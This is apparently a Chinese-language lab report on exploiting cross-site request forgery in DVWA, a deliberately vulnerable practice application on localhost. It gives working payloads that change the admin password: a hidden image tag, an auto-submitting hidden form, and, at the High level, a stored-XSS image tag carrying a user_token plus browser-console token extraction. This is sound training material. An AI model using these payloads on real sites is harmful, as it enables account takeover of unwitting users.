DVWA CSRF 漏洞实践报告

news2024/11/25 13:23:59

1. 漏洞简介

CSRF（跨站请求伪造）是一种攻击，使得攻击者能够以受害者的身份执行非预期的操作。在靶场DVWA中，我将尝试通过CSRF漏洞更改管理员密码。

2. 实验环境

DVWA版本：DVWA-old
浏览器：火狐
默认管理员账户：admin / password

3. 漏洞利用过程

3.1 Low 级别

步骤：

1. 登录DVWA，将安全级别设置为Low

2. 访问CSRF页面，观察更改密码的表单

3. 先尝试在页面修改初始密码为“123”，点击“Change（更改）”后，就出现下面的链接。

4. 复制上面的 url，用Notepad+创建一个包含以下内容的HTML文件，命名为“csrf_attack.html”

<img src="http://127.0.0.1/DVWA-old/vulnerabilities/csrf/？
password_new=hacked&password_conf=hacked&Change=Change" style="display:none;" />

5. 在管理员已登录的状态下访问这个HTML文件 (注：一定要在同一个浏览器中打开)

6. 最后，尝试使用新密码"hacked"登录

结果：

攻击成功：能够使用"hacked"作为新密码登录，证实了密码已被更改。
无用户交互：整个过程中，受害用户（管理员）没有直接在DVWA网站上执行任何操作。

3.2 Medium 级别

步骤：

1. 将安全级别设置为Medium

3. 创建一个新的HTML文件，内容如下：

<form action="http:///127.0.0.1/DVWA-old/vulnerabilities/csrf/" method="GET">
  <input type="hidden" name="password_new" value="hacked2">
  <input type="hidden" name="password_conf" value="hacked2">
  <input type="hidden" name="Change" value="Change">
</form>
<script>document.forms[0].submit();</script>

4. 在管理员已登录的状态下访问这个HTML文件

5. 尝试使用新密码"hacked2"登录

结果：

攻击成功：在Medium安全级别下，成功更改了目标账户的密码。
验证方法：使用新设置的密码成功登录DVWA系统，证实密码已被更改。

在DVWA的Medium安全级别下，我成功执行了CSRF攻击并更改了目标账户的密码，这表明尽管系统可能增加了一些基本的防御措施（如Referer检查或简单的令牌），但这些措施仍然不足以有效防止CSRF攻击。

与Low级别相比，Medium级别可能需要稍微复杂一些的攻击脚本来绕过这些基本安全检查，但攻击的成功执行凸显了即使在提高安全意识的情况下，如果没有实施更强大和全面的保护机制，Web应用程序仍然容易受到CSRF等攻击的影响。

这个结果强调了持续安全评估和多层次防御策略的重要性。

3.3 High 级别

步骤：

1. 将安全级别设置为High

2. 观察 CSRF 页面的 URL，可发现其中包含 user_token。

3. 尝试以下步骤：

先在DVWA中创建一个存储型XSS漏洞

找到一个可以输入并存储数据的功能，通常是留言板或用户资料页面。
在输入框中插入以下代码:

<img src="DVWA-old/vulnerabilities/csrf/?
password_new=password&password_conf=password&
Change=Change&user_token=d07b9b7912edf5f7c47afd29e44efb64#">

但是，发现这个留言板有字数限制，如下：

接下来，打开 “检查” 功能，将 Maxlength="50" 更改为 “500”。

但即便将有 token 的那个链接复制粘贴并且更改了长度，再输入同样的代码，显示空白，依然没有成功。

测试失败了。没关系，那么，我再尝试一下其他方法。

那么，这一次直接复制自己在 CSRF 设置的密码成功的链接，然后将其复制到一个新的标签页上。（注意：先暂时不要输入。）

接下来，右击“检查”，在“控制台”里输入输入shuru以下代码来获取 user_token：

document.getElementsByName("user_token")

然后，使用获取到的token在新标签页面里构造新的CSRF攻击。更改的过程细节如下：

原链接：

127.0.0.1/DVWA-old/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&

user_token=d07b9b7912edf5f7c47afd29e44efb64#

更改成：

127.0.0.1/DVWA-old/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&

user_token=b6c092cedbfd6f750e0b4a40f8f24ea7#